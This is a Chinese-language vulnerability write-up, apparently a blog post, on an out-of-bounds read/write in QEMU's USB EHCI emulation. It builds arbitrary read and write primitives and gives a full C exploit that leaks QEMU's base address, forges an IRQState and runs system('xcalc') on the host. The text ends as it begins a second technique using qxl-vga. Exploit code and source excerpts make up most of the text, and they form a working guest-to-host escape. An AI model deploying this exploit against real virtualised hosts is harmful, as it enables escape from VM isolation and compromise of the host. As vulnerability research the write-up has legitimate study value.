int request, value, index;
assert(p->ep->nr == 0);
request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
index = (s->setup_buf[5] << 8) | s->setup_buf[4];
switch(s->setup_state) {
case SETUP_STATE_ACK:
if (!(s->setup_buf[0] & USB_DIR_IN)) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status == USB_RET_ASYNC) {
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->actual_length = 0;
}
break;
case SETUP_STATE_DATA:
if (s->setup_buf[0] & USB_DIR_IN) {
int len = s->setup_len - s->setup_index; // <----- 【3】
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);// <---- 【4】
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;
default:
p->status = USB_RET_STALL;
}
}
对于do_token_in中的usb_packet_copy 最终会调用到iov_from_buf， 将s->data_buf +
s->setup_index 复制到用户态空间，造成越界读。
static inline size_t
iov_from_buf(const struct iovec *iov, unsigned int iov_cnt,
size_t offset, const void *buf, size_t bytes)
{
if (__builtin_constant_p(bytes) && iov_cnt &&
offset <= iov[0].iov_len && bytes <= iov[0].iov_len - offset) {
memcpy(iov[0].iov_base + offset, buf, bytes);
return bytes;
} else {
return iov_from_buf_full(iov, iov_cnt, offset, buf, bytes);
}
}
相对的，do_token_out用于越界写。
static void do_token_out(USBDevice *s, USBPacket *p)
{
assert(p->ep->nr == 0);
switch(s->setup_state) {
case SETUP_STATE_ACK:
if (s->setup_buf[0] & USB_DIR_IN) {
s->setup_state = SETUP_STATE_IDLE;
/* transfer OK */
} else {
/* ignore additional output */
}
break;
case SETUP_STATE_DATA:
if (!(s->setup_buf[0] & USB_DIR_IN)) {
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);// <-------- s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;
default:
p->status = USB_RET_STALL;
}
}
do_token_out中的usb_packet_copy 最终会调用到 iov_to_buf:
static inline size_t
iov_to_buf(const struct iovec *iov, const unsigned int iov_cnt,
size_t offset, void *buf, size_t bytes)
{
if (__builtin_constant_p(bytes) && iov_cnt &&
offset <= iov[0].iov_len && bytes <= iov[0].iov_len - offset) {
memcpy(buf, iov[0].iov_base + offset, bytes);
return bytes;
} else {
return iov_to_buf_full(iov, iov_cnt, offset, buf, bytes);
}
}
## 漏洞利用一
### 设置漏洞触发环境
#### （1）qemu虚拟地址转成物理地址
详细见链接：<https://xz.aliyun.com/t/6562>
#### （2）set_EHCIState()
首先通过mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd,
0); 映射到usb 设备的内存。
对usb的初始化中，对 EHCIState 结构中的opreg 的基地址设置在这块内存的偏移0x20。
static void usb_ehci_pci_init(Object *obj)
{
DeviceClass *dc = OBJECT_GET_CLASS(DeviceClass, obj, TYPE_DEVICE);
EHCIPCIState *i = PCI_EHCI(obj);
EHCIState *s = &i->ehci;
s->caps[0x09] = 0x68; /* EECP */
s->capsbase = 0x00;
s->opregbase = 0x20; // <---------------------- s->portscbase = 0x44;
s->portnr = NB_PORTS;
if (!dc->hotpluggable) {
s->companion_enable = true;
}
usb_ehci_init(s, DEVICE(obj));
}
对这块内存操作可以直接设置opreg的内容。opreg的内容包括：
union {
uint32_t opreg[0x44/sizeof(uint32_t)];
struct {
uint32_t usbcmd;
uint32_t usbsts;
uint32_t usbintr;
uint32_t frindex;
uint32_t ctrldssegment;
uint32_t periodiclistbase;
uint32_t asynclistaddr;
uint32_t notused[9];
uint32_t configflag;
};
};
在usb_ehci_init 函数中又注册了对opreg区域读写的操作函数。
void usb_ehci_init(EHCIState *s, DeviceState *dev)
{
/* 2.2 host controller interface version */
s->caps[0x00] = (uint8_t)(s->opregbase - s->capsbase);
s->caps[0x01] = 0x00;
s->caps[0x02] = 0x00;
s->caps[0x03] = 0x01; /* HC version */
s->caps[0x04] = s->portnr; /* Number of downstream ports */
s->caps[0x05] = 0x00; /* No companion ports at present */
s->caps[0x06] = 0x00;
s->caps[0x07] = 0x00;
s->caps[0x08] = 0x80; /* We can cache whole frame, no 64-bit */
s->caps[0x0a] = 0x00;
s->caps[0x0b] = 0x00;
QTAILQ_INIT(&s->aqueues);
QTAILQ_INIT(&s->pqueues);
usb_packet_init(&s->ipacket);
memory_region_init(&s->mem, OBJECT(dev), "ehci", MMIO_SIZE);
memory_region_init_io(&s->mem_caps, OBJECT(dev), &ehci_mmio_caps_ops, s,
"capabilities", CAPA_SIZE);
memory_region_init_io(&s->mem_opreg, OBJECT(dev), &ehci_mmio_opreg_ops, s,
"operational", s->portscbase);
memory_region_init_io(&s->mem_ports, OBJECT(dev), &ehci_mmio_port_ops, s,
"ports", 4 * s->portnr);
memory_region_add_subregion(&s->mem, s->capsbase, &s->mem_caps);
memory_region_add_subregion(&s->mem, s->opregbase, &s->mem_opreg);
memory_region_add_subregion(&s->mem, s->opregbase + s->portscbase,
&s->mem_ports);
}
static const MemoryRegionOps ehci_mmio_opreg_ops = {
.read = ehci_opreg_read,
.write = ehci_opreg_write,
.valid.min_access_size = 4,
.valid.max_access_size = 4,
.endianness = DEVICE_LITTLE_ENDIAN,
};
所以对opreg的写操作会调用到ehci_opreg_write函数，如 mmio_write(0x20, 0xddaa);
会调用ehci_opreg_write，此时传入的addr为0（0x20-0x20=0），表示对opreg的偏移0，后续根据addr进行选择处理，0进入USBCMD流程，即对usbcmd进行覆写，将EHCIState->usbcmd
改写成0xddaa。
static void ehci_opreg_write(void *ptr, hwaddr addr,
uint64_t val, unsigned size)
{
EHCIState *s = ptr;
uint32_t *mmio = s->opreg + (addr >> 2);
uint32_t old = *mmio;
int i;
trace_usb_ehci_opreg_write(addr + s->opregbase, addr2str(addr), val);
switch (addr) {
case USBCMD:
if (val & USBCMD_HCRESET) {
ehci_reset(s);
val = s->usbcmd;
break;
}
下面讲讲set_EHCIState的目的，分别设置opreg的 periodiclistbase和usbcmd 字段：
void set_EHCIState(){
mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbase
mmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE); // usbcmd
sleep(1);
}
漏洞函数触发的调用链如下：
► f 0 5597194507ac do_token_setup+16
f 1 5597194511ce usb_process_one+134
f 2 5597194513d9 usb_handle_packet+331
f 3 559719469769 ehci_execute+616
f 4 55971946ab96 ehci_state_execute+257
f 5 55971946b0a1 ehci_advance_state+522
f 6 55971946b4f1 ehci_advance_periodic_state+352
f 7 55971946b7f4 ehci_work_bh+422 <----------------------- f 8 55971967eead aio_bh_call+33
f 9 55971967ef45 aio_bh_poll+149
f 10 559719683c1e aio_dispatch+42
在ehci_work_bh中要经过下面判断才能进入ehci_advance_periodic_state（周期性传输）：
if (ehci_periodic_enabled(ehci) || ehci->pstate != EST_INACTIVE)
……
->
static inline bool ehci_periodic_enabled(EHCIState *s)
{
return ehci_enabled(s) && (s->usbcmd & USBCMD_PSE); // <--------- }
->
static inline bool ehci_enabled(EHCIState *s)
{
return s->usbcmd & USBCMD_RUNSTOP; //<------------ }
#define USBCMD_RUNSTOP (1 << 0)
#define USBCMD_PSE (1 << 4)
#define USBCMD_ASE (1 << 5)
而要进入异步传输则设置usbcmd为 USBCMD_ASE：
if (ehci_async_enabled(ehci) || ehci->astate != EST_INACTIVE) {
need_timer++;
ehci_advance_async_state(ehci);
}
所以要设置usbcmd为USBCMD_RUNSTOP | USBCMD_PSE 进入ehci_advance_periodic_state。
static void ehci_advance_periodic_state(EHCIState *ehci)
{
uint32_t entry;
uint32_t list;
const int async = 0;
// 4.6
switch(ehci_get_state(ehci, async)) {
case EST_INACTIVE:
if (!(ehci->frindex & 7) && ehci_periodic_enabled(ehci)) {
ehci_set_state(ehci, async, EST_ACTIVE);
// No break, fall through to ACTIVE
} else
break;
case EST_ACTIVE:
if (!(ehci->frindex & 7) && !ehci_periodic_enabled(ehci)) {
ehci_queues_rip_all(ehci, async);
ehci_set_state(ehci, async, EST_INACTIVE);
break;
}
list = ehci->periodiclistbase & 0xfffff000; 【1】<--------- /* check that register has been set */
if (list == 0) {
break;
}
list |= ((ehci->frindex & 0x1ff8) >> 1); 【2】<------------
if (get_dwords(ehci, list, &entry, 1) < 0) {
break;
}
DPRINTF("PERIODIC state adv fr=%d. [%08X] -> %08X\n",
ehci->frindex / 8, list, entry);
ehci_set_fetch_addr(ehci, async,entry); 【3】<------------- ehci_set_state(ehci, async, EST_FETCHENTRY);
ehci_advance_state(ehci, async); // <----------- ehci_queues_rip_unused(ehci, async);
break;
default:
/* this should only be due to a developer mistake */
fprintf(stderr, "ehci: Bad periodic state %d. "
"Resetting to active\n", ehci->pstate);
g_assert_not_reached();
}
}
【1】处ehci->periodiclistbase已经被我们填充为dmabuf的物理地址，得到的list经过【2】处处理后相当于list =
virt2phys(dmabuf)+4，之后通过【3】处ehci_set_fetch_addr函数将list上的内容，即virt2phys(qh)+0x2写入s->p_fetch_addr。
static void ehci_set_fetch_addr(EHCIState *s, int async, uint32_t addr)
{
if (async) {
s->a_fetch_addr = addr;
} else {
s->p_fetch_addr = addr;
}
}
get_dwords将list上的内容写入entry，所以我们在dmabuf + 4 填充了virt2phys(qh)+0x2; 作为entry。
entry = dmabuf + 4;
*entry = virt2phys(qh)+0x2;
这里entry为什么要+2呢？回到源码，ehci_advance_periodic_state调用到ehci_advance_state：
static void ehci_advance_state(EHCIState *ehci, int async)
{
EHCIQueue *q = NULL;
int itd_count = 0;
int again;
do {
switch(ehci_get_state(ehci, async)) {
case EST_WAITLISTHEAD:
again = ehci_state_waitlisthead(ehci, async);
break;
case EST_FETCHENTRY:
again = ehci_state_fetchentry(ehci, async);
break;
case EST_FETCHQH:
q = ehci_state_fetchqh(ehci, async);
if (q != NULL) {
assert(q->async == async);
again = 1;
} else {
again = 0;
}
break;
……
我们需要最终运行到EST_FETCHQH，得到qh结构。
do-while循环里第一次运行到EST_FETCHENTRY，通过ehci_state_fetchentry得到entry，即s->p_fetch_addr，我们之前填充的virt2phys(qh)+0x2。
static int ehci_state_fetchentry(EHCIState *ehci, int async)
{
int again = 0;
uint32_t entry = ehci_get_fetch_addr(ehci, async);
if (NLPTR_TBIT(entry)) {
ehci_set_state(ehci, async, EST_ACTIVE);
goto out;
}
/* section 4.8, only QH in async schedule */
if (async && (NLPTR_TYPE_GET(entry) != NLPTR_TYPE_QH)) {
fprintf(stderr, "non queue head request in async schedule\n");
return -1;
}
switch (NLPTR_TYPE_GET(entry)) {
case NLPTR_TYPE_QH:
ehci_set_state(ehci, async, EST_FETCHQH);
again = 1;
break;
在switch (NLPTR_TYPE_GET(entry)) 判断下，我们要进入case
NLPTR_TYPE_QH，通过ehci_set_state(ehci, async, EST_FETCHQH)， 使得下次do-while循环中运行到EST_FETCHQH，得到qh结构。而NLPTR_TYPE_GET 宏定义内容如下：
#define NLPTR_TYPE_QH 1 // queue head
#define NLPTR_TYPE_GET(x) (((x) >> 1) & 3)
所以需要将entry的内容填充为virt2phys(qh)+0x2，因为(((2) >> 1) & 3) =1。
之后ehci_state_fetchqh 会为entry分配空间，
最终ehci_advance_state得到EHCIqh的地址，然后调用ehci_state_execute，触发到漏洞函数。
#### （3） reset and enable port
void reset_enable_port(){
mmio_write(0x64, PORTSC_PRESET);
mmio_write(0x64, PORTSC_PED);
}
0x64 的偏移对应到 portsc，对该字段写操作会调用到ehci_port_write：
static void ehci_port_write(void *ptr, hwaddr addr,
uint64_t val, unsigned size)
{
EHCIState *s = ptr;
int port = addr >> 2;
uint32_t *portsc = &s->portsc[port];
uint32_t old = *portsc;
USBDevice *dev = s->ports[port].dev;
trace_usb_ehci_portsc_write(addr + s->portscbase, addr >> 2, val);
/* Clear rwc bits */
*portsc &= ~(val & PORTSC_RWC_MASK);
/* The guest may clear, but not set the PED bit */
*portsc &= val | ~PORTSC_PED;
/* POWNER is masked out by RO_MASK as it is RO when we've no companion */
handle_port_owner_write(s, port, val);
/* And finally apply RO_MASK */
val &= PORTSC_RO_MASK;
if ((val & PORTSC_PRESET) && !(*portsc & PORTSC_PRESET)) {
trace_usb_ehci_port_reset(port, 1); 【1】<-------------- }
if (!(val & PORTSC_PRESET) &&(*portsc & PORTSC_PRESET)) {
trace_usb_ehci_port_reset(port, 0);
if (dev && dev->attached) {
usb_port_reset(&s->ports[port]);
*portsc &= ~PORTSC_CSC;
}
/*
* Table 2.16 Set the enable bit(and enable bit change) to indicate
* to SW that this port has a high speed device attached
*/
if (dev && dev->attached && (dev->speedmask & USB_SPEED_MASK_HIGH)) {
val |= PORTSC_PED; 【2】<------------------- }
}
if ((val & PORTSC_SUSPEND) && !(*portsc & PORTSC_SUSPEND)) {
trace_usb_ehci_port_suspend(port);
}
if (!(val & PORTSC_FPRES) && (*portsc & PORTSC_FPRES)) {
trace_usb_ehci_port_resume(port);
val &= ~PORTSC_SUSPEND;
}
*portsc &= ~PORTSC_RO_MASK;
*portsc |= val;
trace_usb_ehci_portsc_change(addr + s->portscbase, addr >> 2, *portsc, old);
}
设置PORTSC_PRESET会调用到【1】处trace_usb_ehci_port_reset(port,
1);进行重置，设置PORTSC_PED后会调用到【2】处，enable port。
前期漏洞触发环境已经设置好了，就可以进行越界读写了
### 越界读
（1）我们先调用do_token_setup 设置s->setup_len 的长度为越界长度，要进入do_token_setup
需要通过设置qtd->token值：
#define QTD_TOKEN_PID_MASK 0x00000300
#define QTD_TOKEN_PID_SH 8
#define get_field(data, field) \
(((data) & field##_MASK) >> field##_SH)
#define USB_TOKEN_SETUP 0x2d
#define USB_TOKEN_IN 0x69 /* device -> host */
#define USB_TOKEN_OUT 0xe1 /* host -> device */
static int ehci_get_pid(EHCIqtd *qtd)
{
switch (get_field(qtd->token, QTD_TOKEN_PID)) {
case 0:
return USB_TOKEN_OUT;
case 1:
return USB_TOKEN_IN;
case 2:
return USB_TOKEN_SETUP;
default:
fprintf(stderr, "bad token\n");
return 0;
}
}
所以get_field的实际操作为 ((qtd->token)&0x300)
>>0x8，所以对于操作的判断实际上是取token第8个和第9个bit进行判断。所以设置成 2 << 8
即可。之后设置setup_buf[7]和setup_buf[6] 构造要越界的长度。
s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
if (s->setup_len > sizeof(s->data_buf)) {
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
s->setup_len, sizeof(s->data_buf));
p->status = USB_RET_STALL;
return;
}
（2）设置qtd->token 为 1<<8，进入do_token_in，
这里还要设置setup_buf[0]为USB_DIR_IN，才能调用usb_packet_copy，将s->data_buf复制到qtd->bufptr[0]，进行泄露。其中
p->iov.size大小由 qtd->token = size << QTD_TOKEN_TBYTES_SH 控制。
case SETUP_STATE_DATA:
if (s->setup_buf[0] & USB_DIR_IN) {
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;
### 越界写
同样需要先设置越界长度，再设置qtd->token 为
0<<8，进入do_token_out，同时设置setup_buf[0]为USB_DIR_OUT，将qtd->bufptr[0]复制到s->data_buf进行覆写。
case SETUP_STATE_DATA:
if (!(s->setup_buf[0] & USB_DIR_IN)) {
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;
这里需要注意的是经过几次调用后，s->setup_index >= s->setup_len 会满足条件，s->setup_state 会被设置成
SETUP_STATE_ACK，可以通过调用一次do_token_setup，设置正常长度，将s->setup_state重新设置成SETUP_STATE_DATA。
do_token_setup：
…………
if (s->setup_buf[0] & USB_DIR_IN) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status == USB_RET_ASYNC) {
s->setup_state = SETUP_STATE_SETUP;
}
if (p->status != USB_RET_SUCCESS) {
return;
}
if (p->actual_length < s->setup_len) {
s->setup_len = p->actual_length;
}
s->setup_state = SETUP_STATE_DATA;
} else {
if (s->setup_len == 0)
s->setup_state = SETUP_STATE_ACK;
else
s->setup_state = SETUP_STATE_DATA; // <------------ }
### 任意读原语
（1）首先设置越界长度为0x1010
（2）进行越界写，将setup_len 设置成0x1010，将setup_index设置成0xfffffff8-0x1010，
因为usb_packet_copy后面还有s->setup_index += len 操作，此时s->setup_index
就会被设置成0xfffffff8。
usb_packet_copy(p, s->data_buf + s->setup_index, len);
s->setup_index += len;
（3）再次进行越界写，此时从data_buf-8处开始写，覆盖了setup字段，将setup[0] 设置成USB_DIR_IN，并且将setup_index
覆盖成目标地址偏移-0x1018，因为也要经过s->setup_index += len;操作。并且本次进入case
SETUP_STATE_DATA时：len = s->setup_len -s->setup_index操作（0x1010-(-0x8)=0x1018），使得len变成0x1018。
case SETUP_STATE_DATA:
if (s->setup_buf[0] & USB_DIR_IN) {
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);
（4）最后越界读，就能读取目标地址的内容
unsigned long arb_read(uint64_t target_addr)
{
setup_state_data();
set_length(0x1010, USB_DIR_OUT);
do_copy_write(0, 0x1010, 0xfffffff8-0x1010);
*(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_IN
unsigned int target_offset = target_addr - data_buf_addr;
do_copy_write(0x8, 0xffff, target_offset - 0x1018);// 这里offset为0x8，是因为从data_buf-8 处开始写。
do_copy_read(); // oob read
return *(unsigned long *)(data_buf);
}
### 任意写原语
（1）首先设置越界长度为0x1010
（2）越界写，将setup_len 设置成目标偏移-0x1010，usb_packet_copy后面的s->setup_index += len
操作后，s->setup_index就变成目标偏移offset。将setup_index设置成目标偏移+0x8， 经过下次越界写的len =
s->setup_len - s->setup_index =》len=（offset+0x8）-offset=0x8，只修改目标地址8个字节的内容。
（3）再次越界写，修改目标地址的内容。
void arb_write(uint64_t target_addr, uint64_t payload)
{
setup_state_data();
set_length(0x1010, USB_DIR_OUT);
unsigned long offset = target_addr - data_buf_addr;
do_copy_write(0, offset+0x8, offset-0x1010);
*(unsigned long *)(data_buf) = payload;
do_copy_write(0, 0xffff, 0);
}
### 整体利用思路
整体利用思路和 <https://www.freebuf.com/vuls/247829.html> 相同：
（1）通过越界读获取 USBdevice
对象的地址，这里通过读取dmabuf+0x2004可以得到USBDevice->remote_wakeup的内容（这里+4是因为结构体的内存对齐）。往下读有一个
USBEndpoint ep_ctl 结构体，ep_ctl->dev 保存着USBdevice 对象的地址，就可以泄露 USBdevice
对象的地址。计算偏移就可以获得data_buf 和USBPort 字段的地址。
（2）查找越界读出来的内容，看是否有函数地址，就可以通过ida获取该函数的偏移，进而得到elf加载的基地址，以及system@plt的地址。
（3）USBDevice 会在 realize 时，调用usb_claim_port，将USBDevice中的port字段设置为指向
EHCIState中的ports的地址， 读取USBDevice->port的内容就能获得EHCIState->ports 的地址，减去偏移得到
EHCIState的地址。进而得到EHCIState->irq地址。
（4）利用任意写将EHCIState->irq内容填充为伪造的irq地址，将handler
填充成system@plt地址，opaque填充成payload的地址。
struct IRQState {
Object parent_obj;
qemu_irq_handler handler;
void *opaque;
int n;
};
通过mmio 读写触发ehci_update_irq -> qemu_set_irq，最终执行system("xcalc")，完成利用。
void qemu_set_irq(qemu_irq irq, int level)
{
if (!irq)
return;
irq->handler(irq->opaque, irq->n, level);
}
（5）最后将保存的EHCIState->irq原内容填充回去，由于会多次调用qemu_set_irq，所以会执行多次payload。
exp代码：
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdbool.h>
#include <netinet/in.h>
struct EHCIqh * qh;
struct EHCIqtd * qtd;
struct ohci_td * td;
char *dmabuf;
char *setup_buf;
unsigned char *mmio_mem;
unsigned char *data_buf;
unsigned char *data_buf_oob;
uint32_t *entry;
uint64_t dev_addr;
uint64_t data_buf_addr;
uint64_t USBPort_addr;
#define PORTSC_PRESET (1 << 8) // Port Reset
#define PORTSC_PED (1 << 2) // Port Enable/Disable
#define USBCMD_RUNSTOP (1 << 0)
#define USBCMD_PSE (1 << 4)
#define USB_DIR_OUT 0
#define USB_DIR_IN 0x80
#define QTD_TOKEN_ACTIVE (1 << 7)
#define USB_TOKEN_SETUP 2
#define USB_TOKEN_IN 1 /* device -> host */
#define USB_TOKEN_OUT 0 /* host -> device */
#define QTD_TOKEN_TBYTES_SH 16
#define QTD_TOKEN_PID_SH 8
typedef struct USBDevice USBDevice;
typedef struct USBEndpoint USBEndpoint;
struct USBEndpoint {
uint8_t nr;
uint8_t pid;
uint8_t type;
uint8_t ifnum;
int max_packet_size;
int max_streams;
bool pipeline;
bool halted;
USBDevice *dev;
USBEndpoint *fd;
USBEndpoint *bk;
};
struct USBDevice {
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;
USBEndpoint ep_ctl;
USBEndpoint ep_in[15];
USBEndpoint ep_out[15];
};
typedef struct EHCIqh {
uint32_t next; /* Standard next link pointer */
/* endpoint characteristics */
uint32_t epchar;
/* endpoint capabilities */
uint32_t epcap;
uint32_t current_qtd; /* Standard next link pointer */
uint32_t next_qtd; /* Standard next link pointer */
uint32_t altnext_qtd;
uint32_t token; /* Same as QTD token */
uint32_t bufptr[5]; /* Standard buffer pointer */
} EHCIqh;
typedef struct EHCIqtd {
uint32_t next; /* Standard next link pointer */
uint32_t altnext; /* Standard next link pointer */
uint32_t token;
uint32_t bufptr[5]; /* Standard buffer pointer */
} EHCIqtd;
uint64_t virt2phys(void* p)
{
uint64_t virt = (uint64_t)p;
// Assert page alignment
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd == -1)
die("open");
uint64_t offset = (virt / 0x1000) * 8;
lseek(fd, offset, SEEK_SET);
uint64_t phys;
if (read(fd, &phys, 8 ) != 8)
die("read");
// Assert page present
phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);
return phys;
}
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}
uint64_t mmio_read(uint32_t addr)
{
return *((uint64_t*)(mmio_mem + addr));
}
void init(){
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:1d.7/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (dmabuf == MAP_FAILED)
die("mmap");
mlock(dmabuf, 0x3000);
entry = dmabuf + 4;
qh = dmabuf + 0x100;
qtd = dmabuf + 0x200;
setup_buf = dmabuf + 0x300;
data_buf = dmabuf + 0x1000;
data_buf_oob = dmabuf + 0x2000;
}
void reset_enable_port(){
mmio_write(0x64, PORTSC_PRESET);
mmio_write(0x64, PORTSC_PED);
}
void set_EHCIState(){
mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbase
mmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE); // usbcmd
sleep(1);
}
void set_qh(){
qh->epchar = 0x00;
qh->token = QTD_TOKEN_ACTIVE;
qh->current_qtd = virt2phys(qtd);
}
void init_state(){
reset_enable_port();
set_qh();
setup_buf[6] = 0xff;
setup_buf[7] = 0x0;
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(setup_buf);
*entry = virt2phys(qh)+0x2;
set_EHCIState();
}
void set_length(uint16_t len,uint8_t option){
reset_enable_port();
set_qh();
setup_buf[0] = option;
setup_buf[6] = len & 0xff;
setup_buf[7] = (len >> 8 ) & 0xff;
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(setup_buf);
set_EHCIState();
}
void do_copy_read(){
reset_enable_port();
set_qh();
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_IN << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(data_buf);
qtd->bufptr[1] = virt2phys(data_buf_oob);
set_EHCIState();
}
void do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index){
reset_enable_port();
set_qh();
*(unsigned long *)(data_buf_oob + offset) = 0x0000000200000002; // 覆盖成原先的内容
*(unsigned int *)(data_buf_oob + 0x8 +offset) = setup_len; //setup_len
*(unsigned int *)(data_buf_oob + 0xc+ offset) = setup_index;
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_OUT << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH; // flag
qtd->bufptr[0] = virt2phys(data_buf);
qtd->bufptr[1] = virt2phys(data_buf_oob);
set_EHCIState();
}
void setup_state_data(){
set_length(0x500, USB_DIR_OUT);
}
void arb_write(uint64_t target_addr, uint64_t payload)
{
setup_state_data();
set_length(0x1010, USB_DIR_OUT);
unsigned long offset = target_addr - data_buf_addr;
do_copy_write(0, offset+0x8, offset-0x1010);
*(unsigned long *)(data_buf) = payload;
do_copy_write(0, 0xffff, 0);
}
unsigned long arb_read(uint64_t target_addr)
{
setup_state_data();
set_length(0x1010, USB_DIR_OUT);
do_copy_write(0, 0x1010, 0xfffffff8-0x1010);
*(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_IN
unsigned int target_offset = target_addr - data_buf_addr;
do_copy_write(0x8, 0xffff, target_offset - 0x1018);
do_copy_read(); // oob read
return *(unsigned long *)(data_buf);
}
int main()
{
init();
iopl(3);
outw(0,0xc080);
outw(0,0xc0a0);
outw(0,0xc0c0);
sleep(3);
init_state();
set_length(0x2000, USB_DIR_IN);
do_copy_read(); // oob read
struct USBDevice* usb_device_tmp = data_buf + 0x4;
struct USBDevice usb_device;
memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));
dev_addr = usb_device.ep_ctl.dev;
data_buf_addr = dev_addr + 0xdc;
USBPort_addr = dev_addr + 0x78;
printf("USBDevice dev_addr: 0x%llx\n", dev_addr);
printf("USBDevice->data_buf: 0x%llx\n", data_buf_addr);
printf("USBPort_addr: 0x%llx\n", USBPort_addr);
uint64_t *tmp=dmabuf+0x24f4+8;
long long leak_addr = *tmp;
if(leak_addr == 0){
printf("INIT DOWN,DO IT AGAIN\n");
return 0;
}
long long base = leak_addr - 0xc40d90;
uint64_t system_plt = base + 0x290D30;
printf("leak elf_base address : %llx!\n", base);
printf("leak system_plt address: %llx!\n", system_plt);
unsigned long USBPort_ptr = arb_read(USBPort_addr);
unsigned long EHCIState_addr = USBPort_ptr - 0x540;
unsigned long irq_addr = EHCIState_addr + 0xc0;
unsigned long fake_irq_addr = data_buf_addr; //dev_addr + 0xdc;
unsigned long irq_ptr = arb_read(irq_addr);
printf("EHCIState_addr: 0x%llx\n", EHCIState_addr);
printf("USBPort_ptr: 0x%llx\n", USBPort_ptr);
printf("irq_addr: 0x%llx\n", irq_addr);
printf("fake_irq_addr: 0x%llx\n", fake_irq_addr);
printf("irq_ptr: 0x%llx\n", irq_ptr);
// construct fake_irq
setup_state_data();
*(unsigned long *)(data_buf + 0x28) = system_plt; // handler
*(unsigned long *)(data_buf + 0x30) = dev_addr+0xdc+0x100; //opaque
*(unsigned long *)(data_buf + 0x38) = 0x3; //n
*(unsigned long *)(data_buf + 0x100) = 0x636c616378; // "xcalc"
do_copy_write(0, 0xffff, 0xffff);
// write fake_irq
arb_write(irq_addr, fake_irq_addr);
// write back irq_ptr
arb_write(irq_addr, irq_ptr);
//printf("success233!\n");
};
运行效果图：
## 漏洞利用二
利用思路参考[https://isc.360.com/2020/detail.html?vid=108&id=17](https://isc.360.com/2020/detail.html?vid=108&id=17)
该思路需要qemu启动时加载qxl-vga设备，配置见上面的环境搭建。
（1）通过越界读获取 USBdevice
对象的地址，这里通过读取dmabuf+0x2004可以得到USBDevice->remote_wakeup的内容（这里+4是因为结构体的内存对齐）。往下读有一个
USBEndpoint ep_ctl 结构体，ep_ctl->dev 保存着USBdevice 对象的地址，就可以泄露 USBdevice
对象的地址。计算偏移就可以获得data_buf 和USBPort 字段的地址。
（2）利用任意读泄露 data_buf后面的内存数据，遍历查找“qxl-vga”字符串找到PCIDevice->name的地址，减去偏移得到PCIDevice结构体地址。
struct PCIDevice {
…………
PCIReqIDCache requester_id_cache;
char name[64]; // ->保存设备的名字，"qxl-vga"
